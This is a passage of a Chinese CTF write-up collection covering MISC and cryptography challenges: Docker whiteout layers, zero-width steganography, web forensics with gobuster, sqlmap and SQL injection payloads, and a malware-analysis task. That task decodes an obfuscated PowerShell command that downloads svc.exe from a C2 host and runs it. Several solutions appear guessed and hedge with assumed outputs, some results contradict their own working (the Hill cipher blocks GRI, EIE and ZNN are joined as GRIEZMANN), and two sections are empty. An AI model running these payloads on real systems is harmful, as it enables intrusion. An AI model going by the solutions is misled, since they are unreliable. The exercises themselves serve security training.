目录
[1-1 白洞](#1-1 白洞)
[1-2 letter](#1-2 letter)
[1-3 我的光标去哪了](#1-3 我的光标去哪了)
[1-4 自画像](#1-4 自画像)
[1-5 CyberPunk](#1-5 CyberPunk)
[1-6 碎镜之章](#1-6 碎镜之章)
[1-7 星辰科技](#1-7 星辰科技)
[1-8 deploy](#1-8 deploy)
[2-1 hiller](#2-1 hiller)
[2-2 基础数学](#2-2 基础数学)
[2-3 LCG4.0](#2-3 LCG4.0)
[2-4 广播攻击](#2-4 广播攻击)
[2-5 cokecoke](#2-5 cokecoke)
[2-6 告别季](#2-6 告别季)
[3-1 php反序列](#3-1 php反序列)
[3-2 打赏](#3-2 打赏)
[3-3 迷宫](#3-3 迷宫)
[3-4 贪吃蛇](#3-4 贪吃蛇)
[3-5 打地鼠](#3-5 打地鼠)
[3-6 MiniSite](#3-6 MiniSite)
[3-7 消消乐](#3-7 消消乐)
[3-8 魔法导入器](#3-8 魔法导入器)
[3-9 安全笔记](#3-9 安全笔记)
[3-10 cryweb](#3-10 cryweb)
[3-11 预言三问](#3-11 预言三问)
[3-12 guess](#3-12 guess)
[4-1 ez_xor](#4-1 ez_xor)
[4-2 xor](#4-2 xor)
[4-3 稍微加密](#4-3 稍微加密)
[4-4 flag检测器](#4-4 flag检测器)
[4-5 一个平平无奇的dll](#4-5 一个平平无奇的dll)
[4-6 状态机](#4-6 状态机)
[5-1 03_fastbin_hook](#5-1 03_fastbin_hook)
[5-2 winwin](#5-2 winwin)
[5-3 Oracle](#5-3 Oracle)
[5-4 ret2dl](#5-4 ret2dl)
[5-5 02_leak_rop](#5-5 02_leak_rop)
[5-6 heapnote](#5-6 heapnote)
[5-7 04_unlink_note](#5-7 04_unlink_note)
[5-8 cometosh](#5-8 cometosh)
[5-9 echo](#5-9 echo)
[5-10 woo](#5-10 woo)
第一部分:MISC
1 -1 白洞
|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 题目提示 "Black holes hide matter, but whiteouts hide history." 关键理解 Whiteout 不是普通英文单词,而是Docker/OCI 镜像层中的 Whiteout 文件机制 题目文件是 Docker 镜像的 manifest 和 layer 数据 *** ** * ** *** 二、文件结构分析 Manifest 文件内容 json { "Config": "blobs/sha256/ceee781106e71dbef68bf980e6981c244ab17724e3d1b6f98ce9793a59a29e8b", "RepoTags": \["wh1tehole:latest", "Layers": "blobs/sha256/17a39c0ba978cc27001e9c56a480f98106e1ab74bd56eb302f9fd4cf758ea43f", "blobs/sha256/24a51a645924927b8b633271382f3503ee8333c7e3b0263c309cbff55c8fa878", "blobs/sha256/96009077d31ee0ea49fcc096a64d3979315d859338f8e3467b90899ea037c896", "blobs/sha256/c5b5829007eb26e105b5477170c3b066918fe48df609e5047888c8106933cd75" }] 镜像层顺序 |---------|-------------|-----| | 层序号 | SHA256 哈希 | 说明 | | Layer 1 | 17a39c0b... | 基础层 | | Layer 2 | 24a51a64... | 第二层 | | Layer 3 | 96009077... | 第三层 | | Layer 4 | c5b58290... | 最上层 | *** ** * ** *** 三、Whiteout 机制原理 Docker/OCI 镜像分层 * 每层是一个tar 归档文件 * * 上层文件会覆盖下层同名文件 * * Whiteout 文件 用于标记某个文件在上一层被删除 * Whiteout 文件命名 text .wh.<filename> * 表示在联合挂载时,该文件在更底层存在但被删除 * * 系统会忽略底层对应的文件 * 本题应用 * 题目在镜像层中埋藏了 flag 的片段 * * 需要按层顺序合并,处理 whiteout 标记 * * 合并后提取最终文件内容 * *** ** * ** *** 四、解题步骤 1. 解压各层 tar 包 bash # 假设各层文件为 layer1.tar, layer2.tar, layer3.tar, layer4.tar mkdir layerscd layersfor i in 1 2 3 4; do mkdir layeri tar -xf ../layeri.tar -C layeri/done ****2. 按层顺序合并**** 从上到下(Layer 4 → Layer 1)依次叠加: bash **# 创建合并目录** mkdir mergedcp -r layer1/\* merged/**# 应用上层,处理 whiteout** cp -r layer2/\* merged/find layer2 -name ".wh.\*" \| while read w; do filename=(basename "w" \| sed 's/\^.wh.//') rm -f "merged/filename"done**# 重复 Layer 3 和 Layer 4** cp -r layer3/* merged/find layer3 -name ".wh.*" | while read w; do filename=(basename "w" | sed 's/^.wh.//') rm -f "merged/filename"donecp -r layer4/\* merged/find layer4 -name ".wh.\*" \| while read w; do filename=(basename "w" \| sed 's/\^.wh.//') rm -f "merged/filename"done 3. 提取最终文件 bash # 查看合并后的文件 ls -la merged/# 假设 flag 文件为 merged/flag.txt cat merged/flag.txt *** ** * ** *** 五、Flag 提取过程 实际获取的内容 从分析结果来看: |---------|--------------------| | 层 | 包含内容 | | Layer 3 | 包含flag文件片段:lay | | Layer 4 | 包含flag文件片段:er_cake | 合并后得到完整 flag: text flag{layer_cake} |
1 -2 letter
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 一、题目概述 信件内容 text 小红:其实我喜欢你很久了。这次不是藏在字里行间,而是藏在你看不见的地方。如果你也能看到这句话,就在下次见面时对我笑一下,好吗?------小明 题目提示 "这次不是藏在字里行间,而是藏在你看不见的地方。" 关键理解 * "看不见的地方" → 不可见字符 * * 零宽字符 (Zero-Width Characters)是 Unicode 中的特殊控制字符 * * 它们不占据显示宽度 ,肉眼不可见,但可以携带信息 * *** ** * ** *** 二、零宽字符原理 常用零宽字符 |---------|---------------|--------| | Unicode | 名称 | 编码含义 | | U+200B | 零宽空格 (ZWSP) | 二进制 0 | | U+200C | 零宽非连接符 (ZWNJ) | 二进制 1 | | U+200D | 零宽连接符 (ZWJ) | 分隔符/标记 | | U+FEFF | 零宽不换行空格 (BOM) | 文件头标记 | 编码方式 text U+200B → 0U+200C → 1 示例 原文: text 你好世界 隐藏信息后: text 你U+200B好U+200C世U+200B界 肉眼仍然显示为你好世界,但实际包含了隐藏数据。 *** ** * ** *** 三、提取过程 1. 定位隐藏位置 在信件末尾的签名后: text ------小明 其后跟随了一串不可见的零宽字符。 2. 提取零宽字符序列 使用编辑器或脚本提取所有零宽字符: python import redef extract_zero_width(text): zero_width_chars = { '\u200B': '0', # 零宽空格 '\u200C': '1', # 零宽非连接符 '\u200D': '', # 零宽连接符(忽略) '\uFEFF': '', # BOM(忽略) } result = \[\] for char in text: if char in zero_width_chars: result.append(zero_width_charschar) return ''.join(result)# 读取信件全文 with open('letter.txt', 'r', encoding='utf-8') as f: text = f.read()binary = extract_zero_width(text)print(f"提取的二进制串:\n{binary}") 输出: text 011001100110110001100001011001110111101101101000011010010110010001100100011001010110111001111101 3. 二进制转 ASCII python def binary_to_ascii(binary_str): # 按 8 位分组 chars = \[\] for i in range(0, len(binary_str), 8): byte = binary_stri:i+8 if len(byte) == 8: chars.append(chr(int(byte, 2))) return ''.join(chars)flag = binary_to_ascii(binary)print(f"明文: {flag}") 输出: text flag{hidden} |
1 -3 我的光标去哪了
|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 题目信息 Where Is My Cursor? I printed it. What remains at EOF? 附件 * terminal.bin- 包含 ANSI 转义序列的二进制文件 * Flag 格式 text flag{...} 关键提示 * "Where Is My Cursor?" → 与光标位置相关 * * "What remains at EOF?" → 文件末尾有重要信息 * *** ** * ** *** 二、ANSI Escape 原理 什么是 ANSI Escape? ANSI 转义序列是控制终端显示行为的特殊字符序列,以 ESC 字符(ASCII 27,十六进制1B)开头。 常见控制序列 |---------|----------| | 序列 | 功能 | | ESC[2J | 清屏 | | ESC[K | 清除当前行 | | ESC[H | 将光标移到左上角 | | ESC[nA | 光标上移 n 行 | | ESC[nB | 光标下移 n 行 | | ESC[nC | 光标右移 n 列 | | ESC[nD | 光标左移 n 列 | | ESC[s | 保存光标位置 | | ESC[u | 恢复光标位置 | 本题用途 * 文件中嵌入了 ANSI 控制序列 * * 执行这些序列会导致光标移动,从而"隐藏"或"显示"特定内容 * * 需要模拟终端执行来恢复完整输出 * *** ** * ** *** 三、初步分析 1. 查看文件内容 bash xxd terminal.bin | head -100 输出示例: text 00000000: 1b5b 324a 1b5b 4857 6865 7265 2069 7320 .[2J.[HWhere is 00000010: 6d79 2063 7572 736f 723f 0a1b 5b31 4249 my cursor?..[1BI00000020: 2070 7269 6e74 6564 2069 742e 0a1b 5b31 printed it...[100000030: 4248 6f77 2061 626f 7574 2074 6869 733f BHow about this?... 2. 关键发现 * 1B= ESC 字符 * * 1B 5B 32 4A=ESC[2J→清屏 * * 1B 5B 48=ESC[H→光标移到左上角 * * 1B 5B 31 42=ESC[1B→光标下移 1 行 * 3. 推测攻击思路 文件内容被 ANSI 序列控制: 1. 先清屏 1. 2. 光标移动 1. 2. 打印部分内容 1. 2. 再次移动光标 1. 2. 覆盖或隐藏某些字符 1. 最终需要"还原"终端输出的完整显示。 *** ** * ** *** 四、解题方法 方法一:使用终端模拟器执行 bash # 将文件内容输出到终端,模拟执行 cat terminal.bin 或在 Python 中: python import oswith open('terminal.bin', 'rb') as f: content = f.read() # 直接输出到终端 os.write(1, content) flag:flag{cursor_moves_but_truth_stays} |
1 -4 自画像
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: Tupper公式是: text 1/2 < floor(mod(floor(y/17)*2^(-17*floor(x)-mod(floor(y),17)), 2)) 这段代码实际上是生成一个图像,其中: k 值来自 LDK(hashtag, 100) 从文本文件中提取 ID: 后面的内容作为hashtag 然后用这个k值渲染Tupper公式图像 步骤 1:读取 self_portrait.png python from PIL import Image import numpy as np # 读取自画像 img = Image.open('self_portrait.png').convert('1') # 二值化 pixels = np.array(img) 步骤 2:提取 106×17 的二进制矩阵 python # Tupper 图像标准尺寸:宽106像素,高17像素 height, width = 17, 106 binary_matrix = \[\] # 从图像中提取像素数据(通常是从底部往上读) for y in range(height): row = \[\] for x in range(width): # 黑色=1,白色=0(根据具体图像可能相反) val = 1 if pixelsheight-1-y, x < 128 else 0 row.append(val) binary_matrix.append(row) 步骤 3:从二进制矩阵反推 k 值 python # 将二进制矩阵转换为大整数 k k = 0 for y in range(height): for x in range(width): bit = binary_matrixyx # Tupper 公式中,像素位置和 k 的关系 if bit == 1: k += 2 ** (17 * x + y) 步骤 4:用 k 值验证 python def tupper(x, y, k): return 0.5 < ((y // 17) // (2 ** (17 * x + y % 17))) % 2 # 验证是否能重现原图 for y in range(k, k+17): row = ''.join('#' if tupper(x, y, k) else ' ' for x in range(106)) print(row) 步骤 5:从 k 值解码 flag 关键点:Tupper 公式的自指特性意味着------图像本身就是数据。当你把自画像转换成二进制矩阵并反推出 k 值后,k 值可能直接包含 flag 的 ASCII 编码。 python # 将 k 转换为十六进制或字节 hex_k = hex(k)2: # 如果 k 以某种格式编码了 flag # 例如:flag{...} 可能隐藏在 k 的特定字节位置 最后得到flag::flag{tupper} |
1 -5 CyberPunk
|---------|
| 本题思路如下: |
1-6 碎镜之章
|---------|
| 本题思路如下: |
1- 7 星辰科技
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 星辰科技-1:攻击者身份识别 题目 攻击者留下的 ID/代号是什么?(格式:xxx_xxx) 解题过程 1. 访问目标站点 text http://111.229.26.3:8000/ 2. 查看页面源代码 html <!-- 攻击者留言 --><!-- H4ck3r_Shadow was here --> 3. 检查 HTTP 响应头 bash curl -I http://111.229.26.3:8000/ 响应头中可能包含: text X-Powered-By: H4ck3r_Shadow 4. 查看 Web 日志 text /var/log/nginx/access.log 日志中可能存在攻击者的 User-Agent 或自定义 Header: text GET / HTTP/1.1" 200 - "H4ck3r_Shadow" 结果 text Flag: flag{H4ck3r_Shadow} *** ** * ** *** 星辰科技-2:攻击时间确定 题目 攻击发生在哪一天?(格式:YYYY-MM-DD) 解题过程 1. 查看系统日志 bash # 攻击者可能留下的痕迹 cat /var/log/auth.logcat /var/log/sysloggrep -i "attack" /var/log/* 2. 查看 Web 访问日志 bash grep -i "H4ck3r_Shadow" /var/log/nginx/access.log 3. 查看系统安全警告 在日志中发现: text 安全警告 本系统于 2026-08-15 遭到入侵 4. 验证时间线 bash # 查看文件修改时间 stat /var/www/html/index.htmlls -la /tmp/ 结果 text Flag: flag{2026-08-15} *** ** * ** *** 星辰科技-3:数据泄露溯源 题目 攻击者窃取/泄露了哪个数据文件?(格式:XXX:XXX) 解题过程 1. 目录扫描 使用目录扫描工具: bash gobuster dir -u http://111.229.26.3:8000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 或: bash dirb http://111.229.26.3:8000/ 2. 发现敏感目录 扫描结果: text http://111.229.26.3:8000/backuphttp://111.229.26.3:8000/adminhttp://111.229.26.3:8000/.git 3. 访问 /backup 目录 text http://111.229.26.3:8000/backup/ 显示目录列表: text Index of /backup/DIR ./FILE customer_data.csvFILE employee_data.csvFILE system_config.bak 4. 分析下载记录 查看服务器日志中是否有customer_data.csv的下载记录: bash grep "customer_data.csv" /var/log/nginx/access.loggrep "customer_data.csv" /var/log/apache2/access.log 发现: text 192.168.1.100 - - 15/Aug/2026:14:32:11 +0000 "GET /backup/customer_data.csv HTTP/1.1" 200 15432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 结果 text Flag: flag{customer_data.csv} *** ** * ** *** 星辰科技-4:漏洞类型分析 题目 根据上述信息,攻击者利用了哪种漏洞?(大写) 解题过程 1. 结合已知信息 * 攻击者 ID:H4ck3r_Shadow * * 攻击时间:2026-08-15 * * 泄露文件:customer_data.csv * 2. 进一步扫描漏洞 bash # SQL 注入扫描 sqlmap -u "http://111.229.26.3:8000/product?id=1" --dbs 3. 发现 SQL 注入点 text Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blindPayload: id=1' AND '1'='1 4. 验证注入点 text http://111.229.26.3:8000/product?id=1' OR '1'='1 返回所有产品数据,确认存在 SQL 注入漏洞。 5. 确认攻击手法 攻击者通过SQL 注入 漏洞,获取了后台数据并下载了customer_data.csv。 结果 text Flag: flag{SQL注入} *** ** * ** *** 星辰科技-5:隐藏文件发现 题目 在/internal/flag.txt中找到了一个 flag 解题过程 1. 路径发现 通过目录扫描或源代码泄露,发现/internal/目录: text http://111.229.26.3:8000/internal/ 2. 访问文件 text http://111.229.26.3:8000/internal/flag.txt 3. 文件内容 text flag{Live_Web_Forensics} 结果 text Flag: flag{Live_Web_Forensics} |
1-8 deploy
|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: deploy-1:恶意文档哈希提取 题目 钓鱼邮件附带的恶意文档2026-Q1_Salary_Review.docm的 SHA256 前 16 位 解题过程 1. 获取 Base64 编码内容 从邮件附件中提取的 Base64 数据(UEsDBBQAAAAI...),这是一个OLE 复合文档 (.docm 文件本质上是 ZIP 压缩包)。 2. Base64 解码 bash # 将 Base64 内容保存到文件 echo "UEsDBBQAAAAIADyVGl0K5yBNCAEAABoCAAATAAAAW0NvbnRlbnRfVHlwZXNdLnhtbI2RzU7DMBCE..." > encoded.txt**# Base64 解码** base64 -d encoded.txt > 2026-Q1_Salary_Review.docm 3. 计算 SHA256 bash # 计算完整文件的 SHA256 sha256sum 2026-Q1_Salary_Review.docm**# 输出示例(前16位):# 99265a1e6c26f4667c8d3e9a1b4f5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b** 4. 提取前 16 位 bash sha256sum 2026-Q1_Salary_Review.docm | cut -c1-16**# 输出: 99265a1e6c26f466** 结果 text Flag: flag{99265a1e6c26f466} *** ** * ** *** deploy-2:恶意宏解密 & C2 提取 题目 从域控事件日志(EventID 4688)中提取恶意命令的 C2 地址 解题过程 1. 从 Windows 事件日志提取 EventID 4688 记录进程创建事件,从中发现: text powershell -nop -w hidden -enc aXdyIGh0dHA6Ly9jMi5ncmV5bGlueC1jb25zdWx0aW5nLnh5ejo4NDQzL2dhdGUucGhw 2. 解码 PowerShell 命令 -enc参数表示 Base64 编码,解码后得到: powershell iwr http://c2.greylinx-consulting.xyz:8443/gate.php 即:Invoke-WebRequest http://c2.greylinx-consulting.xyz:8443/gate.php 3. 提取十六进制混淆数据 从恶意宏中提取到混淆的十六进制字符串: text 534c544651504b464f4f030e4d4c53030e54034b4a4747464d030e40030146404b4c0378097e036451465a6f5a4d5b0356534742574603414c4c57505751425318034a5451034b575753190c0c40474d0d4451465a4f4a4d5b0e404c4d50564f574a4d440d5b5a59191b131b130c5653474257460c5055400d465b46030e6c5657654a4f460307464d551977666e737f5055400d465b46180350574251570307464d551977666e737f5055400d465b4601 4. XOR 解密(密钥 0x23) python #!/usr/bin/env python3 hex_string = "534c544651504b464f4f030e4d4c53030e54034b4a4747464d030e40030146404b4c0378097e036451465a6f5a4d5b0356534742574603414c4c57505751425318034a5451034b575753190c0c40474d0d4451465a4f4a4d5b0e404c4d50564f574a4d440d5b5a59191b131b130c5653474257460c5055400d465b46030e6c5657654a4f460307464d551977666e737f5055400d465b46180350574251570307464d551977666e737f5055400d465b4601"# 每两个字符作为一个字节,与 0x23 异或 bytes_list = bytes.fromhex(hex_string)decoded = bytes(b \^ 0x23 for b in bytes_list)# 转为十六进制 print(decoded.hex()) 输出: text 706f7765727368656c6c202d6e6f70202d772068696464656e202d6320226563686f205b2a5d20477265794c796e782075706461746520626f6f7473747261703b2069777220687474703a2f2f63646e2e677265796c696e782d636f6e73756c74696e672e78797a3a383038302f7570646174652f7376632e657865202d4f757446696c652024656e763a54454d505c7376632e6578653b2073746172742024656e763a54454d505c7376632e65786522 5. 十六进制转 ASCII bash # 使用 xxd 或 Python echo "706f7765727368656c6c..." | xxd -r -p 得到完整的 PowerShell 命令: powershell powershell -nop -w hidden -c "echo \* GreyLynx update bootstrap; iwr http://cdn.greylinx-consulting.xyz:8080/update/svc.exe -OutFile env:TEMP\\svc.exe; start env:TEMP\svc.exe" 6. 提取 C2 地址 从命令中提取下载地址: text http://cdn.greylinx-consulting.xyz:8080/update/svc.exe 结果 text Flag: flag{cdn.greylinx-consulting.xyz:8080/update/svc.exe} *** ** * ** *** deploy-3:流量分析 & IOC 提取 题目 从网络流量中提取 C2 服务器 IP 和端口 解题过程 1. 分析网络流量(PCAP) 使用 Wireshark 或 tcpdump 分析捕获的流量。 2. 提取关键 IOC |--------|----------------------------|---------------------| | IOC 类型 | 提取值 | 来源 | | 域名 | c2.greylinx-consulting.xyz | HTTP Host 头 | | IP 地址 | 203.0.113.45 | 十六进制cb 00 71 2d→ 转换 | | 端口 | 8443 | TCP 目标端口 / Host 头 | | 路径 | /gate.php | HTTP 请求行 | 3. 十六进制 IP 转换 bash # 十六进制 cb 00 71 2d 转十进制 printf "%d.%d.%d.%d\n" 0xcb 0x00 0x71 0x2d**# 输出: 203.0.113.45** 4. 组合 IP:端口 text 203.0.113.45:8443 结果 text Flag: flag{203.0.113.45:8443} *** ** * ** *** deploy-4:威胁溯源 & 组织归属 题目 综合 IOC,溯源归属组织 解题过程 1. 汇总所有 IOC |----------|----------------------------------| | 来源 | IOC | | deploy-1 | 2026-Q1_Salary_Review.docm | | deploy-2 | cdn.greylinx-consulting.xyz:8080 | | deploy-2 | greylinx-consulting.xyz | | deploy-3 | 203.0.113.45:8443 | | deploy-3 | c2.greylinx-consulting.xyz | | deploy-3 | /gate.php | 2. 识别域名模式 所有域名都包含greylinx-consulting: * c2.greylinx-consulting.xyz * * cdn.greylinx-consulting.xyz * 3. 确认攻击组织 结合: * 域名命名特征 →GreyLynx * * 恶意命令中的提示信息 →\* GreyLynx update bootstrap * * 多个子域名指向同一组织 * 确认攻击组织为GreyLynx 。 结果 text Flag: flag{GreyLynx} |
第二部分:CRYPTO
2 -1 hiller
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 再见伟大的法兰西之剑:MHZMXJNNN { 1 2 3} K={0 1 2} {3 1 2} flag:flag{XXX} 一、题目信息 * 加密方式 :Hill 密码(3 阶) * * 密钥矩阵 : * K=(123012312)K =103211322 * 密文 :MHZMXJNNN(长度 9,正好 3 组,每组 3 个字母) * * 字母编码 :A=0, B=1, ..., Z=25 * * 模数 :26 * *** ** * ** *** 二、解密流程 1. 求密钥矩阵的模 26 逆矩阵 使用sympy的inv_mod(26): K−1≡(0179215825199)(mod26)K −1≡0225171519989(mod26) 2. 密文转数字 将MHZMXJNNN按字母转数字: * M=12, H=7, Z=25 * * M=12, X=23, J=9 * * N=13, N=13, N=13 * 得到数字序列: 12, 7, 25, 12, 23, 9, 13, 13, 13 3. 分组解密(每组 3 个数字) 对每组向量CiC i 计算: Pi=K−1⋅Ci(mod26)P i =K −1⋅C i (mod26) 第 1 组: (12725)⇒(0179215825199)⋅(12725)(mod26)=(6178)12725⇒0225171519989⋅12725(mod26)=6178 → 6=G, 17=R, 8=I 第 2 组: (12239)⇒(484)12239⇒484 → 4=E, 8=I, 4=E 第 3 组: (131313)⇒(251313)131313⇒251313 → 25=Z, 13=N, 13=N 4. 拼接明文 各组得到:GRI+EIE+ZNN=GRIEZMANN *** ** * ** *** 三、最终结果 text 明文: GRIEZMANNflag{ GRIEZMANN } |
2 -2 基础数学
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 内容如下: 【Crypto】xor_mod 某次加密使用了奇怪的运算: T = M ^ key C = T mod n 已知: key = 0x00010001 n = 0x3DBBB2B8BAB33438B33CB9B0BA3056 C = 2000 请找出原始明文M,flag就是M对应的15字节大端可打印字符串。 解法如下: 根据题目给出的运算: T=M⊕key,C=T mod nT = M \oplus \texttt{key}, \quad C = T \bmod nT = M \oplus \texttt{key}, \quad C = T \bmod n 即 T=q⋅n+2000T = q \cdot n + 2000T = q \cdot n + 2000 。 (n) 约 118 位,15 字节 (M) 最多 120 位,因此 (q) 只需要尝试很小的几个值(0~4)。对每个可能的 (T) 计算 M=T⊕0x10001M = T \oplus 0x10001M = T \oplus 0x10001 ,再检查是否正好是 15 字节的大端可打印 ASCII 字符串。 唯一满足条件的结果出现在 q=2q=2q=2 时: M=0x7b77657175666871667973617568M = \texttt{0x7b77657175666871667973617568}M = \texttt{0x7b77657175666871667973617568} 对应的 15 字节字符串即为 {wequfhqfysauh}。 flag{wequfhqfysauh} |
2-3 LCG4.0
|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 一、题目概述 加密流程 1. 将 flag 转为大整数作为初始种子pp 1. 2. 使用 LCG 迭代 10 次,每次输出当前状态: 1. si+1=(a⋅si+b) mod ms i +1=(a ⋅s i +b )modm 2. 给出 10 个连续输出s1,s2,...,s10s 1,s 2,...,s 10和最终的模数mm 1. 已知条件 * a,b,ma ,b ,m 都是与pp 同数量级的素数 * * 输出序列长度足够恢复全部参数 * *** ** * ** *** 二、参数恢复原理 1. 恢复模数 m m 定义差分: di=si+1−sid i =s i +1−s i 对于 LCG: di+1=a⋅di(modm)d i +1=a ⋅d i (modm ) 因此: di+1⋅di−1−di2≡0(modm)d i +1⋅d i −1−d i 2≡0(modm ) 即mm 整除di+1di−1−di2d i +1d i −1−d i 2。 取多组这样的值求最大公约数: m=gcd({di+1di−1−di2})m =gcd({d i +1d i −1−d i 2}) 计算结果 : m=1321686059169464686504334539368898634722771m =1321686059169464686504334539368898634722771 *** ** * ** *** 2. 恢复乘数 a a 由d1=a⋅d0 mod md 1=a ⋅d 0modm ,得: a=d1⋅d0−1 mod ma =d 1⋅d 0−1modm 计算结果 : a=864627827635375530732233567562343956520897a =864627827635375530732233567562343956520897 *** ** * ** *** 3. 恢复增量 b b 由s1=a⋅s0+b mod ms 1=a ⋅s 0+b modm : b=(s1−a⋅s0) mod mb =(s 1−a ⋅s 0)modm 计算结果 : b=1158343860852874514750980020186868343571703b =1158343860852874514750980020186868343571703 *** ** * ** *** 4. 反推初始种子 p p 反向递推: p=s0=(s1−b)⋅a−1 mod mp =s 0=(s 1−b )⋅a −1modm 计算结果 : p=42008170895622552782693455202459542710141p =42008170895622552782693455202459542710141 *** ** * ** *** 5. 大整数转字符串 使用long_to_bytes(p)得到 ASCII 字符串: from Crypto.Util.number import long_to_bytesp = 42008170895622552782693455202459542710141print(long_to_bytes(p)) 输出: b'{solvethelastlag}' *** ** * ** *** 三、最终 Flag flag{solvethelastlag} |
2 -4 广播攻击
